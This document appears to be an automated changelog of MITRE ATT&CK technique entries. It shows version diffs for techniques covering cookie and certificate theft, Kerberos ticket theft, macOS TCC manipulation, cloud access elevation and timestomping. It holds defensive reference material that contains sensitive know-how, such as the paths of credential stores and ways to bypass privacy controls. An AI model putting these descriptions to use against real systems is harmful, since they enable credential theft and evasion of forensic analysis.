[T1539] Steal Web Session Cookie
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
- M1021: Restrict Web-Based Content
- M1047: Audit
- M1051: Update Software
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 12:56:56.861000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_contributors[2] | Goldstein Menachem | Menachem Goldstein |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1649] Steal or Forge Authentication Certificates
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may steal or forge certificates used for authent | t | Adversaries may steal or forge certificates used for authent |
| ication to access remote systems or resources. Digital certi | | ication to access remote systems or resources. Digital certi |
| ficates are often used to sign and encrypt messages and/or f | | ficates are often used to sign and encrypt messages and/or f |
| iles. Certificates are also used as authentication material. | | iles. Certificates are also used as authentication material. |
| For example, Azure AD device certificates and Active Direct | | For example, Entra ID device certificates and Active Direct |
| ory Certificate Services (AD CS) certificates bind to an ide | | ory Certificate Services (AD CS) certificates bind to an ide |
| ntity and can be used as credentials for domain accounts.(Ci | | ntity and can be used as credentials for domain accounts.(Ci |
| tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A | | tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A |
| D CS Overview) Authentication certificates can be both stol | | D CS Overview) Authentication certificates can be both stol |
| en and forged. For example, AD CS certificates can be stolen | | en and forged. For example, AD CS certificates can be stolen |
| from encrypted storage (in the Registry or files)(Citation: | | from encrypted storage (in the Registry or files)(Citation: |
| APT29 Deep Look at Credential Roaming), misplaced certifica | | APT29 Deep Look at Credential Roaming), misplaced certifica |
| te files (i.e. [Unsecured Credentials](https://attack.mitre. | | te files (i.e. [Unsecured Credentials](https://attack.mitre. |
| org/techniques/T1552)), or directly from the Windows certifi | | org/techniques/T1552)), or directly from the Windows certifi |
| cate store via various crypto APIs.(Citation: SpecterOps Cer | | cate store via various crypto APIs.(Citation: SpecterOps Cer |
| tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi | | tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi |
| tHub GhostPack Certificates) With appropriate enrollment rig | | tHub GhostPack Certificates) With appropriate enrollment rig |
| hts, users and/or machines within a domain can also request | | hts, users and/or machines within a domain can also request |
| and/or manually renew certificates from enterprise certifica | | and/or manually renew certificates from enterprise certifica |
| te authorities (CA). This enrollment process defines various | | te authorities (CA). This enrollment process defines various |
| settings and permissions associated with the certificate. O | | settings and permissions associated with the certificate. O |
| f note, the certificate’s extended key usage (EKU) values de | | f note, the certificate’s extended key usage (EKU) values de |
| fine signing, encryption, and authentication use cases, whil | | fine signing, encryption, and authentication use cases, whil |
| e the certificate’s subject alternative name (SAN) values de | | e the certificate’s subject alternative name (SAN) values de |
| fine the certificate owner’s alternate names.(Citation: Medi | | fine the certificate owner’s alternate names.(Citation: Medi |
| um Certified Pre Owned) Abusing certificates for authentica | | um Certified Pre Owned) Abusing certificates for authentica |
| tion credentials may enable other behaviors such as [Lateral | | tion credentials may enable other behaviors such as [Lateral |
| Movement](https://attack.mitre.org/tactics/TA0008). Certifi | | Movement](https://attack.mitre.org/tactics/TA0008). Certifi |
| cate-related misconfigurations may also enable opportunities | | cate-related misconfigurations may also enable opportunities |
| for [Privilege Escalation](https://attack.mitre.org/tactics | | for [Privilege Escalation](https://attack.mitre.org/tactics |
| /TA0004), by way of allowing users to impersonate or assume | | /TA0004), by way of allowing users to impersonate or assume |
| privileged accounts or permissions via the identities (SANs) | | privileged accounts or permissions via the identities (SANs) |
| associated with a certificate. These abuses may also enable | | associated with a certificate. These abuses may also enable |
| [Persistence](https://attack.mitre.org/tactics/TA0003) via | | [Persistence](https://attack.mitre.org/tactics/TA0003) via |
| stealing or forging certificates that can be used as [Valid | | stealing or forging certificates that can be used as [Valid |
| Accounts](https://attack.mitre.org/techniques/T1078) for the | | Accounts](https://attack.mitre.org/techniques/T1078) for the |
| duration of the certificate's validity, despite user passwo | | duration of the certificate's validity, despite user passwo |
| rd resets. Authentication certificates can also be stolen an | | rd resets. Authentication certificates can also be stolen an |
| d forged for machine accounts. Adversaries who have access | | d forged for machine accounts. Adversaries who have access |
| to root (or subordinate) CA certificate private keys (or mec | | to root (or subordinate) CA certificate private keys (or mec |
| hanisms protecting/managing these keys) may also establish [ | | hanisms protecting/managing these keys) may also establish [ |
| Persistence](https://attack.mitre.org/tactics/TA0003) by for | | Persistence](https://attack.mitre.org/tactics/TA0003) by for |
| ging arbitrary authentication certificates for the victim do | | ging arbitrary authentication certificates for the victim do |
| main (known as “golden” certificates).(Citation: Medium Cert | | main (known as “golden” certificates).(Citation: Medium Cert |
| ified Pre Owned) Adversaries may also target certificates an | | ified Pre Owned) Adversaries may also target certificates an |
| d related services in order to access other forms of credent | | d related services in order to access other forms of credent |
| ials, such as [Golden Ticket](https://attack.mitre.org/techn | | ials, such as [Golden Ticket](https://attack.mitre.org/techn |
| iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain | | iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain |
| text.(Citation: Medium Certified Pre Owned) | | text.(Citation: Medium Certified Pre Owned) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-02 19:06:41.828000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)
Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.
Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) | Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)
Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.
Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[3] | Azure AD | Identity Provider |
[T1558] Steal or Forge Kerberos Tickets
Current version: 1.6
Version changed from: 1.5 → 1.6
|
|
|---|
| t | Adversaries may attempt to subvert Kerberos authentication b | t | Adversaries may attempt to subvert Kerberos authentication b |
| y stealing or forging Kerberos tickets to enable [Pass the T | | y stealing or forging Kerberos tickets to enable [Pass the T |
| icket](https://attack.mitre.org/techniques/T1550/003). Kerbe | | icket](https://attack.mitre.org/techniques/T1550/003). Kerbe |
| ros is an authentication protocol widely used in modern Wind | | ros is an authentication protocol widely used in modern Wind |
| ows domain environments. In Kerberos environments, referred | | ows domain environments. In Kerberos environments, referred |
| to as “realms”, there are three basic participants: client, | | to as “realms”, there are three basic participants: client, |
| service, and Key Distribution Center (KDC).(Citation: ADSecu | | service, and Key Distribution Center (KDC).(Citation: ADSecu |
| rity Kerberos Ring Decoder) Clients request access to a serv | | rity Kerberos Ring Decoder) Clients request access to a serv |
| ice and through the exchange of Kerberos tickets, originatin | | ice and through the exchange of Kerberos tickets, originatin |
| g from KDC, they are granted access after having successfull | | g from KDC, they are granted access after having successfull |
| y authenticated. The KDC is responsible for both authenticat | | y authenticated. The KDC is responsible for both authenticat |
| ion and ticket granting. Adversaries may attempt to abuse K | | ion and ticket granting. Adversaries may attempt to abuse K |
| erberos by stealing tickets or forging tickets to enable una | | erberos by stealing tickets or forging tickets to enable una |
| uthorized access. On Windows, the built-in <code>klist</cod | | uthorized access. On Windows, the built-in <code>klist</cod |
| e> utility can be used to list and analyze cached Kerberos t | | e> utility can be used to list and analyze cached Kerberos t |
| ickets.(Citation: Microsoft Klist) Linux systems on Active | | ickets.(Citation: Microsoft Klist) |
| Directory domains store Kerberos credentials locally in the | | |
| credential cache file referred to as the "ccache". The crede | | |
| ntials are stored in the ccache file while they remain valid | | |
| and generally while a user's session lasts.(Citation: MIT c | | |
| cache) On modern Redhat Enterprise Linux systems, and deriva | | |
| tive distributions, the System Security Services Daemon (SSS | | |
| D) handles Kerberos tickets. By default SSSD maintains a cop | | |
| y of the ticket database that can be found in <code>/var/lib | | |
| /sss/secrets/secrets.ldb</code> as well as the corresponding | | |
| key located in <code>/var/lib/sss/secrets/.secrets.mkey</co | | |
| de>. Both files require root access to read. If an adversary | | |
| is able to access the database and key, the credential cach | | |
| e Kerberos blob can be extracted and converted into a usable | | |
| Kerberos ccache file that adversaries may use for [Pass the | | |
| Ticket](https://attack.mitre.org/techniques/T1550/003). The | | |
| ccache file may also be converted into a Windows format usi | | |
| ng tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Ci | | |
| tation: Brining MimiKatz to Unix)(Citation: Kekeo) Kerbero | | |
| s tickets on macOS are stored in a standard ccache format, s | | |
| imilar to Linux. By default, access to these ccache entries | | |
| is federated through the KCM daemon process via the Mach RPC | | |
| protocol, which uses the caller's environment to determine | | |
| access. The storage location for these ccache entries is inf | | |
| luenced by the <code>/etc/krb5.conf</code> configuration fil | | |
| e and the <code>KRB5CCNAME</code> environment variable which | | |
| can specify to save them to disk or keep them protected via | | |
| the KCM daemon. Users can interact with ticket storage usin | | |
| g <code>kinit</code>, <code>klist</code>, <code>ktutil</code | | |
| >, and <code>kcc</code> built-in binaries or via Apple's nat | | |
| ive Kerberos framework. Adversaries can use open source tool | | |
| s to interact with the ccache files directly or to use the K | | |
| erberos framework to call lower-level APIs for extracting th | | |
| e user's TGT or Service Tickets.(Citation: SpectorOps Bifros | | |
| t Kerberos macOS 2019)(Citation: macOS kerberos framework MI | | |
| T) | | |
New Mitigations:
- M1043: Credential Access Protection
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 16:58:02.395000+00:00 | 2024-09-17 19:49:11.455000+00:00 |
| description | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
| Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
|
| x_mitre_version | 1.5 | 1.6 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Kekeo', 'description': 'Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.', 'url': 'https://github.com/gentilkiwi/kekeo'} | |
| external_references | {'source_name': 'SpectorOps Bifrost Kerberos macOS 2019', 'description': 'Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.', 'url': 'https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f'} | |
| external_references | {'source_name': 'macOS kerberos framework MIT', 'description': 'Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.', 'url': 'http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html'} | |
| external_references | {'source_name': 'MIT ccache', 'description': 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.', 'url': 'https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html'} | |
| external_references | {'source_name': 'Brining MimiKatz to Unix', 'description': 'Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.', 'url': 'https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf'} | |
| external_references | {'source_name': 'Linux Kerberos Tickets', 'description': 'Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html'} | |
[T1614] System Location Discovery
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:00:56.438000+00:00 | 2024-10-15 16:07:23.511000+00:00 |
| external_references[1]['description'] | FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021. | FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf | https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf |
| x_mitre_version | 1.0 | 1.1 |
[T1569] System Services
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM', 'root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-22 17:29:46.189000+00:00 | 2024-09-20 19:55:40.527000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[T1548.006] Abuse Elevation Control Mechanism: TCC Manipulation
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries can manipulate or abuse the Transparency, Consen | t | Adversaries can manipulate or abuse the Transparency, Consen |
| t, & Control (TCC) service or database to execute malicious | | t, & Control (TCC) service or database to grant malicious ex |
| applications with elevated permissions. TCC is a Privacy & S | | ecutables elevated permissions. TCC is a Privacy & Security |
| ecurity macOS control mechanism used to determine if the run | | macOS control mechanism used to determine if the running pro |
| ning process has permission to access the data or services p | | cess has permission to access the data or services protected |
| rotected by TCC, such as screen sharing, camera, microphone, | | by TCC, such as screen sharing, camera, microphone, or Full |
| or Full Disk Access (FDA). When an application requests to | | Disk Access (FDA). When an application requests to access |
| access data or a service protected by TCC, the TCC daemon ( | | data or a service protected by TCC, the TCC daemon (`tccd`) |
| `tccd`) checks the TCC database, located at `/Library/Applic | | checks the TCC database, located at `/Library/Application Su |
| ation Support/com.apple.TCC/TCC.db` (and `~/` equivalent), f | | pport/com.apple.TCC/TCC.db` (and `~/` equivalent), and an ov |
| or existing permissions. If permissions do not exist, then t | | erwrites file (if connected to an MDM) for existing permissi |
| he user is prompted to grant permission. Once permissions ar | | ons. If permissions do not exist, then the user is prompted |
| e granted, the database stores the application's permissions | | to grant permission. Once permissions are granted, the datab |
| and will not prompt the user again unless reset. For exampl | | ase stores the application's permissions and will not prompt |
| e, when a web browser requests permissions to the user's web | | the user again unless reset. For example, when a web browse |
| cam, once granted the web browser may not explicitly prompt | | r requests permissions to the user's webcam, once granted th |
| the user again.(Citation: welivesecurity TCC) Adversaries m | | e web browser may not explicitly prompt the user again.(Cita |
| ay manipulate the TCC database or otherwise abuse the TCC se | | tion: welivesecurity TCC) Adversaries may access restricted |
| rvice to execute malicious content. This can be done in vari | | data or services protected by TCC through abusing applicati |
| ous ways, including using privileged system applications to | | ons previously granted permissions through [Process Injectio |
| execute malicious payloads or manipulating the database to g | | n](https://attack.mitre.org/techniques/T1055) or executing a |
| rant their application TCC permissions. For example, adver | | malicious binary using another application. For example, ad |
| saries can use Finder, which has FDA permissions by default, | | versaries can use Finder, a macOS native app with FDA permis |
| to execute malicious [AppleScript](https://attack.mitre.org | | sions, to execute a malicious [AppleScript](https://attack.m |
| /techniques/T1059/002) while preventing a user prompt. For a | | itre.org/techniques/T1059/002). When executing under the Fin |
| system without System Integrity Protection (SIP) enabled, a | | der App, the malicious [AppleScript](https://attack.mitre.or |
| dversaries have also manipulated the operating system to loa | | g/techniques/T1059/002) inherits access to all files on the |
| d an adversary controlled TCC database using environment var | | system without requiring a user prompt. When System Integrit |
| iables and [Launchctl](https://attack.mitre.org/techniques/T | | y Protection (SIP) is disabled, TCC protections are also dis |
| 1569/001).(Citation: TCC macOS bypass)(Citation: TCC Databas | | abled. For a system without SIP enabled, adversaries can man |
| e) Adversaries may also opt to instead inject code (e.g., [ | | ipulate the TCC database to add permissions to their malicio |
| Process Injection](https://attack.mitre.org/techniques/T1055 | | us executable through loading an adversary controlled TCC da |
| )) into targeted applications with the desired TCC permissio | | tabase using environment variables and [Launchctl](https://a |
| ns. | | ttack.mitre.org/techniques/T1569/001).(Citation: TCC macOS b |
| | | ypass)(Citation: TCC Database) |
Dropped Mitigations:
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 00:02:12.021000+00:00 | 2024-10-16 16:54:56.714000+00:00 |
| description | Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).
When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)
Adversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions.
For example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)
Adversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.
| Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).
When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)
Adversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)
|
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Wojciech Reguła @_r3ggi |
| x_mitre_contributors | | Csaba Fitzl @theevilbit of Kandji |
[T1080] Taint Shared Content
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-05-31 12:33:20.915000+00:00 | 2024-10-15 16:07:36.903000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.4 | 1.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1548.005] Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-28 15:30:09.313000+00:00 | 2024-10-15 16:07:49.519000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[2] | Office 365 | Identity Provider |
| x_mitre_platforms[1] | Azure AD | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
[T1070.006] Indicator Removal: Timestomp
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may modify file time attributes to hide new or c | t | Adversaries may modify file time attributes to hide new file |
| hanges to existing files. Timestomping is a technique that m | | s or changes to existing files. Timestomping is a technique |
| odifies the timestamps of a file (the modify, access, create | | that modifies the timestamps of a file (the modify, access, |
| , and change times), often to mimic files that are in the sa | | create, and change times), often to mimic files that are in |
| me folder. This is done, for example, on files that have bee | | the same folder and blend malicious files with legitimate fi |
| n modified or created by the adversary so that they do not a | | les. Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NA |
| ppear conspicuous to forensic investigators or file analysis | | ME` (`$FN`) attributes record times in a Master File Table ( |
| tools. Timestomping may be used along with file name [Masq | | MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (da |
| uerading](https://attack.mitre.org/techniques/T1036) to hide | | tes/time stamps) is displayed to the end user, including in |
| malware and tools.(Citation: WindowsIR Anti-Forensic Techni | | the File System view, while `$FN` is dealt with by the kerne |
| ques) | | l.(Citation: Magnet Forensics) Modifying the `$SI` attribut |
| | | e is the most common method of timestomping because it can b |
| | | e modified at the user level using API calls. `$FN` timestom |
| | | ping, however, typically requires interacting with the syste |
| | | m kernel or moving or renaming a file.(Citation: Inversecos |
| | | Timestomping 2022) Adversaries modify timestamps on files s |
| | | o that they do not appear conspicuous to forensic investigat |
| | | ors or file analysis tools. In order to evade detections tha |
| | | t rely on identifying discrepancies between the `$SI` and `$ |
| | | FN` attributes, adversaries may also engage in “double times |
| | | tomping” by modifying times on both attributes simultaneousl |
| | | y.(Citation: Double Timestomping) Timestomping may be used |
| | | along with file name [Masquerading](https://attack.mitre.org |
| | | /techniques/T1036) to hide malware and tools.(Citation: Wind |
| | | owsIR Anti-Forensic Techniques) |
New Detections:
- DS0009: Process (OS API Execution)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['root', 'SYSTEM', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 21:39:46.724000+00:00 | 2024-09-30 15:14:56.021000+00:00 |
| description | Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) | Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.
Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)
